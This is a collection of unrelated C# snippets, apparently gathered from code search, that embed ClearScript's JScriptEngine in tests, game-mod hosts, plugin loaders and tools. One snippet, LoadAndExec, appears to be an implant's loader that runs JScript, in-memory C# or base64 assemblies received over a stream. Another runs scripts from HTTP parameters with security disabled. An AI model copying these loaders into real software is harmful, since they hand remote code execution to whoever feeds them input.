public void Init(string markedjs, string config) { Engine = new JScriptEngine(); if (string.IsNullOrWhiteSpace(markedjs)) { markedjs = Resources.marked; } Engine.Execute(markedjs); if (string.IsNullOrWhiteSpace(config)) { config = Encoding.Default.GetString(Resources.config); } Engine.Execute("marked.setOptions(" + config + ");"); }
public static ClientsideScriptWrapper StartScript(ClientsideScript script) { ClientsideScriptWrapper csWrapper = null; var scriptEngine = new JScriptEngine(); scriptEngine.AddHostObject("host", new HostFunctions()); scriptEngine.AddHostObject("API", new ScriptContext()); scriptEngine.AddHostType("Enumerable", typeof(Enumerable)); scriptEngine.AddHostType("List", typeof(IList)); scriptEngine.AddHostType("KeyEventArgs", typeof(KeyEventArgs)); scriptEngine.AddHostType("Keys", typeof(Keys)); scriptEngine.AddHostType("Point", typeof(Point)); scriptEngine.AddHostType("Size", typeof(Size)); scriptEngine.AddHostType("Vector3", typeof(Vector3)); scriptEngine.AddHostType("menuControl", typeof(UIMenu.MenuControls)); try { scriptEngine.Execute(script.Script); scriptEngine.Script.API.ParentResourceName = script.ResourceParent; } catch (ScriptEngineException ex) { LogException(ex); } finally { csWrapper = new ClientsideScriptWrapper(scriptEngine, script.ResourceParent, script.Filename); lock (ScriptEngines) ScriptEngines.Add(csWrapper); } return(csWrapper); }
public void BugFix_IDispatchExArgLeak_InvokeMethod_JScript() { // ReSharper disable RedundantAssignment engine.Dispose(); engine = new JScriptEngine(); WeakReference wr1 = null; WeakReference wr2 = null; new Action(() => { object x1 = Guid.NewGuid(); wr1 = new WeakReference(x1); object x2 = Guid.NewGuid(); wr2 = new WeakReference(x2); engine.Execute("function foo(x1, x2) { return x1.ToString() + x2.ToString(); }"); Assert.AreEqual(x1.ToString() + x2, engine.Script.foo(x1, x2)); engine.CollectGarbage(true); })(); GC.Collect(GC.MaxGeneration, GCCollectionMode.Forced); GC.WaitForPendingFinalizers(); Assert.IsFalse(wr1.IsAlive); Assert.IsFalse(wr2.IsAlive); // ReSharper restore RedundantAssignment }
public void Verify(ExpressionScriptProvided expressionScript) { try { using (var engine = new JScriptEngine()) { ExposeTypesToEngine(engine); engine.AddHostObject("host", new XHostFunctions()); engine.AddHostObject("debug", new DebugFunctions(this)); var writer = new StringWriter(); WritePolyfills(writer); writer.WriteLine("var __result = function() {"); writer.WriteLine(expressionScript.Expression); writer.WriteLine("};"); engine.Execute(writer.ToString()); } } catch (ScriptEngineException ex) { throw new ExprValidationException(ex.Message, ex); } }
public void BugFix_NestedInterrupt_JScript() { engine.Dispose(); try { using (var startEvent = new ManualResetEventSlim(false)) { object result = null; var interruptedInner = false; var interruptedOuter = false; var thread = new Thread(() => { using (engine = new JScriptEngine(WindowsScriptEngineFlags.EnableDebugging)) { var context = new PropertyBag(); engine.AddHostObject("context", context); // ReSharper disable once AccessToDisposedClosure context["startEvent"] = startEvent; context["foo"] = new Action(() => { try { engine.Execute("while (true) { context.startEvent.Set(); }"); } catch (ScriptInterruptedException) { interruptedInner = true; } }); try { result = engine.Evaluate("context.foo(); 123"); } catch (ScriptInterruptedException) { interruptedOuter = true; } } }); thread.Start(); startEvent.Wait(); engine.Interrupt(); thread.Join(); Assert.IsTrue(interruptedInner); Assert.IsFalse(interruptedOuter); Assert.AreEqual(123, result); } } finally { engine = new V8ScriptEngine(V8ScriptEngineFlags.EnableDebugging); } }
private static void ExecuteScript(UserScript script, ScriptHost scriptHost, Logger logger, object[] args) { try { //var engine = new JScriptEngine(WindowsScriptEngineFlags.EnableDebugging); var engine = new JScriptEngine(); engine.AddHostObject("host", scriptHost); string initArgsScript = string.Format("var arguments = {0};", args.ToJson()); engine.Execute(initArgsScript); engine.Execute(script.Body); } catch (Exception ex) { var messge = string.Format("Error in user script {0}", script.Name); logger.ErrorException(messge, ex); } }
public void BugFix_JScript_CaseInsensitivity() { engine.Dispose(); engine = new JScriptEngine(); engine.Execute("abc = 1; ABC = 2; function foo() { return 3; } function FOO() { return 4; }"); Assert.AreEqual(1, engine.Script.abc); Assert.AreEqual(2, engine.Script.ABC); Assert.AreEqual(3, engine.Script.foo()); Assert.AreEqual(4, engine.Script.FOO()); }
private static void ExecuteScripts(Document d) { foreach (ScriptElement s in d.Header.Scripts) { engine.Execute(s.Source); } }
public void JScriptCoreEngine_AddCOMType_XMLHTTP() { var status = 0; string data = null; var thread = new Thread(() => { using (var testEngine = new JScriptEngine(Windows.WindowsScriptEngineFlags.EnableDebugging | Windows.WindowsScriptEngineFlags.EnableStandardsMode, NullSyncInvoker.Instance)) { testEngine.Script.onComplete = new Action <int, string>((xhrStatus, xhrData) => { status = xhrStatus; data = xhrData; Dispatcher.ExitAllFrames(); }); Dispatcher.CurrentDispatcher.BeginInvoke(new Action(() => { // ReSharper disable AccessToDisposedClosure testEngine.AddCOMType("XMLHttpRequest", "MSXML2.XMLHTTP"); testEngine.Execute(@" xhr = new XMLHttpRequest(); xhr.open('POST', 'http://httpbin.org/post', true); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { onComplete(xhr.status, JSON.parse(xhr.responseText).data); } }; xhr.send('Hello, world!'); "); // ReSharper restore AccessToDisposedClosure })); Dispatcher.Run(); } }); thread.SetApartmentState(ApartmentState.STA); thread.Start(); if (!thread.Join(TimeSpan.FromSeconds(5))) { Assert.Inconclusive("The Httpbin service request timed out"); } Assert.AreEqual(200, status); Assert.AreEqual("Hello, world!", data); }
private JScriptEngine InstantiateScripts(string script, string resourceName, string[] refs) { var scriptEngine = new JScriptEngine(); var collect = new HostTypeCollection(refs); scriptEngine.AddHostObject("clr", collect); scriptEngine.AddHostObject("API", new API() { ResourceParent = this }); scriptEngine.AddHostObject("host", new HostFunctions()); scriptEngine.AddHostType("Dictionary", typeof(Dictionary <,>)); scriptEngine.AddHostType("xmlParser", typeof(RetardedXMLParser)); scriptEngine.AddHostType("Enumerable", typeof(Enumerable)); scriptEngine.AddHostType("NetHandle", typeof(NetHandle)); scriptEngine.AddHostType("String", typeof(string)); scriptEngine.AddHostType("List", typeof(List <>)); scriptEngine.AddHostType("Client", typeof(Client)); scriptEngine.AddHostType("Vector3", typeof(Vector3)); scriptEngine.AddHostType("Quaternion", typeof(Vector3)); scriptEngine.AddHostType("Client", typeof(Client)); scriptEngine.AddHostType("LocalPlayerArgument", typeof(LocalPlayerArgument)); scriptEngine.AddHostType("LocalGamePlayerArgument", typeof(LocalGamePlayerArgument)); scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument)); scriptEngine.AddHostType("EntityPointerArgument", typeof(EntityPointerArgument)); scriptEngine.AddHostType("console", typeof(Console)); scriptEngine.AddHostType("VehicleHash", typeof(VehicleHash)); scriptEngine.AddHostType("Int32", typeof(int)); scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument)); scriptEngine.AddHostType("EntityPtrArgument", typeof(EntityPointerArgument)); try { scriptEngine.Execute(script); } catch (ScriptEngineException ex) { Program.Output("EXCEPTION WHEN COMPILING JAVASCRIPT " + Filename); Program.Output(ex.Message); Program.Output(ex.StackTrace); HasTerminated = true; throw; } return(scriptEngine); }
public void BugFix_JScript_TargetInvocationException() { engine.Dispose(); engine = new JScriptEngine(WindowsScriptEngineFlags.EnableDebugging); engine.Script.foo = new Action(() => throw new Exception("bar")); engine.Execute("function test() { foo(); }"); try { engine.Invoke("test"); } catch (ScriptEngineException exception) { Assert.IsTrue(exception.ErrorDetails.Contains("bar\n at test (Script:0:18) -> foo")); } }
public void BugFix_NonEnumerablePropertyAccess_JScript() { engine.Dispose(); engine = new JScriptEngine(); engine.Script.dump = new Action <dynamic, string>((obj, value) => { Assert.AreEqual(value, obj.message); }); engine.Execute(@" message = 'hello'; dump({ message: message }, message); message = 'world'; dump(new Error(message), message); "); }
public static void StartScript(string script, List <int> identEnts) { var scriptEngine = new JScriptEngine(); var collection = new HostTypeCollection(Assembly.LoadFrom("scripthookvdotnet.dll"), Assembly.LoadFrom("scripts\\NativeUI.dll")); scriptEngine.AddHostObject("API", collection); scriptEngine.AddHostObject("host", new HostFunctions()); scriptEngine.AddHostObject("script", new ScriptContext()); scriptEngine.AddHostType("Enumerable", typeof(Enumerable)); scriptEngine.AddHostType("List", typeof(IList)); scriptEngine.AddHostType("KeyEventArgs", typeof(KeyEventArgs)); scriptEngine.AddHostType("Keys", typeof(Keys)); foreach (var obj in identEnts) { var name = PropStreamer.Identifications[obj]; if (MapEditor.IsPed(new Prop(obj))) { scriptEngine.AddHostObject(name, new Ped(obj)); } else if (MapEditor.IsVehicle(new Prop(obj))) { scriptEngine.AddHostObject(name, new Vehicle(obj)); } else if (MapEditor.IsProp(new Prop(obj))) { scriptEngine.AddHostObject(name, new Prop(obj)); } } try { scriptEngine.Execute(script); } catch (ScriptEngineException ex) { LogException(ex); } finally { lock (ScriptEngines) ScriptEngines.Add(scriptEngine); } }
public DevTools(JScriptEngine engine, Dictionary<string, object> objects, string source = "") { InitializeComponent(); this.engine = engine; this.objects = objects; editor = new ICSharpCode.AvalonEdit.TextEditor(); editor.FontFamily = new System.Windows.Media.FontFamily("Consolas"); editor.FontSize = 14; editor.SyntaxHighlighting = HighlightingManager.Instance.GetDefinitionByExtension(".js"); editor.TextArea.IndentationStrategy = new ICSharpCode.AvalonEdit.Indentation.DefaultIndentationStrategy(); editor.ShowLineNumbers = true; editor.Text = source; foldingStrategy = new BraceFoldingStrategy(); foldingManager = FoldingManager.Install(editor.TextArea); foldingStrategy.UpdateFoldings(foldingManager, editor.Document); editor.TextArea.TextEntering += textEditor_TextArea_TextEntering; editor.TextArea.TextEntered += textEditor_TextArea_TextEntered; editor.TextChanged += Editor_TextChanged; DispatcherTimer foldingUpdateTimer = new DispatcherTimer(); foldingUpdateTimer.Interval = TimeSpan.FromTicks(20); foldingUpdateTimer.Tick += foldingUpdateTimer_Tick; foldingUpdateTimer.Start(); var img = new Image(); img.Source = Utils.ImageToBitmapsource(Properties.Resources.start); btnStart.Content = img; btnStart.Click += (s, e) => engine.Execute(editor.Text); editor.ExtendWithContextMenu(); view.Child = editor; }
public static dynamic[] Load(string startupPath) { var ret = new List <dynamic>(); _engine.AddHostObject("ns", new Action <string, string>((ns, n) => { _engine.Execute(n + "=" + ns + ";"); })); _engine.AddHostObject("host", new ExtendedHostFunctions()); _engine.AddHostObject("clr", new ExtendedHostFunctions().lib("System", "System.Core", "System.Windows.Forms", typeof(Telerik.WinControls.UI.RadTextBoxControl).Assembly.FullName)); foreach (var p in Directory.GetFiles(startupPath, "*.js")) { ModuleLoader.Load(_engine, Assembly.LoadFile(Application.StartupPath + "\\Std.dll")); ret.Add(_engine.Evaluate(File.ReadAllText(p))); } Plugins = ret; return(ret.ToArray()); }
private int Execute() { int returnValue = 0; using (ScriptEngine scriptEngine = new JScriptEngine(_scriptFlags)) { scriptEngine.AddHostObject("$cmd", new ProgramContext(_debug)); foreach (string path in _paths) { try { Console.Write("scriptEngine.Execute: " + path + "\r\n"); string contents = File.ReadAllText(path); scriptEngine.Execute(contents); } catch (ScriptEngineException e) { Console.Write("CommandLineEngine error with script file' " + path + "'. "); Console.Write(e.ErrorDetails + "\r\n\r\n" + e.InnerException + "\r\n\r\n"); returnValue = 2; break; } catch (Exception ex) { Console.Write("CommandLineEngine error with script file' " + path + "'. "); Console.Write("Details: " + GetaAllMessages(ex)); returnValue = 3; break; } } } return(returnValue); }
public void ProcessRequest(HttpContext context) { DateTime start = DateTime.Now; string[] paths = context.Request.Params.GetValues("path"); string[] scripts = context.Request.Params.GetValues("script"); int pathIndex = -1; context.Response.ContentType = "text/plain"; context.Response.Write("Connected to SINJ handler on " + Environment.MachineName + "\r\n"); context.Response.Write("Sinj Version " + Assembly.GetExecutingAssembly().GetName().Version + "\r\n"); context.Response.Write("Num Paths = " + GetDebugString(paths) + "\r\n"); context.Response.Write("Num Scripts = " + GetDebugString(scripts) + "\r\n"); WindowsScriptEngineFlags flags = WindowsScriptEngineFlags.None; if (context.Request.Params["debug"] == "true") { flags = WindowsScriptEngineFlags.EnableDebugging; } using (ScriptEngine engine = new JScriptEngine(flags)) { var pushContext = new PushContext(); engine.AddHostObject("$sc", pushContext); //these global variables should not be here polluting the global namespace in javascript //they should hang off $sc, that's what PushContext is for - KW engine.AddHostType("$scItemManager", typeof(Sitecore.Data.Managers.ItemManager)); engine.AddHostType("$scTemplateManager", typeof(Sitecore.Data.Managers.TemplateManager)); engine.AddHostType("$scLanguage", typeof(Sitecore.Globalization.Language)); engine.AddHostType("$scVersion", typeof(Sitecore.Data.Version)); engine.AddHostType("$scID", typeof(Sitecore.Data.ID)); engine.AddHostType("$scTemplateIDs", typeof(Sitecore.TemplateIDs)); engine.AddHostType("$scTemplateFieldIDs", typeof(Sitecore.TemplateFieldIDs)); engine.AddHostType("$scTemplateFieldSharing", typeof(Sitecore.Data.Templates.TemplateFieldSharing)); engine.AddHostObject("$scMediaItem", new MediaItem()); engine.AddHostType("$scFieldIDs", typeof(Sitecore.FieldIDs)); if (scripts != null && paths != null) { try { using (new Sitecore.SecurityModel.SecurityDisabler()) { foreach (string script in scripts) { pathIndex++; engine.Execute(script); pushContext.RunAsUser(null); } } TimeSpan duration = DateTime.Now - start; context.Response.Write(String.Format("Sinj.PushHandler Completed Successfully in {0} seconds.", duration.TotalSeconds)); } catch (ScriptEngineException e) { context.Response.Write("PushHandler error in script file' " + paths[pathIndex] + "'. "); context.Response.Write(e.ErrorDetails + "\r\n\r\n" + e.InnerException + "\r\n\r\n"); } } else { engine.Execute("$sc.log('Hello from Sinj...')"); } } }
public void JScriptEngine_AddHostObject_GlobalMembers() { var host = new HostFunctions(); engine.AddHostObject("host", HostItemFlags.GlobalMembers, host); Assert.IsInstanceOfType(engine.Evaluate("newObj()"), typeof(PropertyBag)); engine.AddHostObject("test", HostItemFlags.GlobalMembers, this); engine.Execute("TestProperty = newObj()"); Assert.IsInstanceOfType(TestProperty, typeof(PropertyBag)); }
public static int LoadAndExec(String code, StreamReader rdr) { var lines = code.Split('\n'); switch (lines[0]) { case "//CLEARSCRIPT": JScriptEngine jsEngine = new JScriptEngine(); jsEngine.AddHostType("Console", typeof(Console)); jsEngine.AddHostObject("sw", streamWriter); jsEngine.AddHostObject("rdr", rdr); jsEngine.AddHostObject("xHost", new ExtendedHostFunctions()); jsEngine.AddHostType("DllImports", typeof(DllImports)); jsEngine.AddHostType("Win32", typeof(SilverSmoke.Execution.Win32)); jsEngine.AddHostType("Native", typeof(SilverSmoke.Execution.Native)); var typeCollection = new HostTypeCollection("mscorlib", "System", "System.Core"); jsEngine.AddHostObject("clr", typeCollection); try { jsEngine.Execute(code); } catch (Exception ex) { streamWriter.WriteLine(ex.Message); } break; case "//C#": TextWriter oldOut = Console.Out; //save this Console.SetOut(streamWriter); string[] dlls = lines[1].Substring(2).Split(','); //2nd line: list of DLLs, seperated by commas string nm = lines[2].Substring(2); //3rd line: namespace string cls = lines[3].Substring(2); //4th line: class name string mthd = lines[5].Substring(2); //5th line: method name string[] argl = lines[4].Substring(2).Split(' '); //5th line: arguments for method compileInMemory(code, dlls, nm, cls, mthd, argl); Console.SetOut(oldOut); break; case "//IL-DATA": nm = lines[1].Substring(2); //2nd line: namespace cls = lines[2].Substring(2); //3rd line: class name mthd = lines[3].Substring(2); //4th line: method name argl = lines[4].Substring(2).Split(' '); //5th line: arguments for method byte[] data = Convert.FromBase64String(lines[6]); //7th line: b64 encoded assembly try { oldOut = Console.Out; //save this Console.SetOut(streamWriter); Assembly asm = Assembly.Load(data); Type type = asm.GetType(nm + "." + cls); MethodInfo method = type.GetMethod(mthd); ParameterInfo[] parameters = method.GetParameters(); object[] parametersArray = new object[] { argl }; method.Invoke(null, parameters.Length == 0 ? null : parametersArray); Console.SetOut(oldOut); } catch (Exception e) { streamWriter.WriteLine("Error Loading IL Assembly:"); streamWriter.WriteLine(e.Message); } break; default: streamWriter.WriteLine("[-] Invalid module format."); break; } bld.Remove(0, bld.Length); bld.Clear(); streamWriter.WriteLine("SIGNAL-MODULE-FINISHED"); return(0); }
private static void ScriptChanged(DependencyObject d, DependencyPropertyChangedEventArgs e) { _engine.Add("parent", d); _engine.Execute(((Script)e.NewValue).Source); }